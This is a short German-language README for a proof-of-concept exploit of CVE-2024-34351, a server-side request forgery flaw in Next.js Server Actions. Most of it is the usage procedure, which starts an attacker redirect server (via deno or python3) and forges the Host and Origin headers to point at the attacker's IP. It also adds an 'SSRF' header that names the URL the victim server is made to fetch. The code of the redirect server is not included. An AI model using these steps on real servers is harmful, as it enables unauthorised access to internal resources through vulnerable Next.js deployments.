CVE-2024-34351 Exploit

• CVE-2024-34351 PoC
• Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database
• Suche nach SSRF in NextJS-Apps

Zusammenfassung

PoC für eine vollständige Ausnutzung von NextJS SSRF. Ein Angreifer kann beliebige Website-Inhalte vom Next.js-Server unter Verwendung der CVE-2024-34351-Sicherheitslücke abrufen. Diese Sicherheitslücke wird in [email protected] behoben.

Verwendung

• Bereiten Sie einen Umleitungsserver vor.
  • TypeScript

    deno run --allow-net --allow-read attacker-server.ts
    

  • Python

    python3 attacker-server.py
    

• Ändern Sie den Host-Header auf den Angreiferserver. (z.B. Host: 192.198.0.144:8000)
• Ändern Sie den Origin-Header auf den Angreiferserver. (z.B. Origin: http://192.198.0.144:8000/)
• Fügen Sie einen neuen Header namens SSRF hinzu, um anzugeben, wohin umgeleitet werden soll. (z.B. SSRF: http://example.com/test)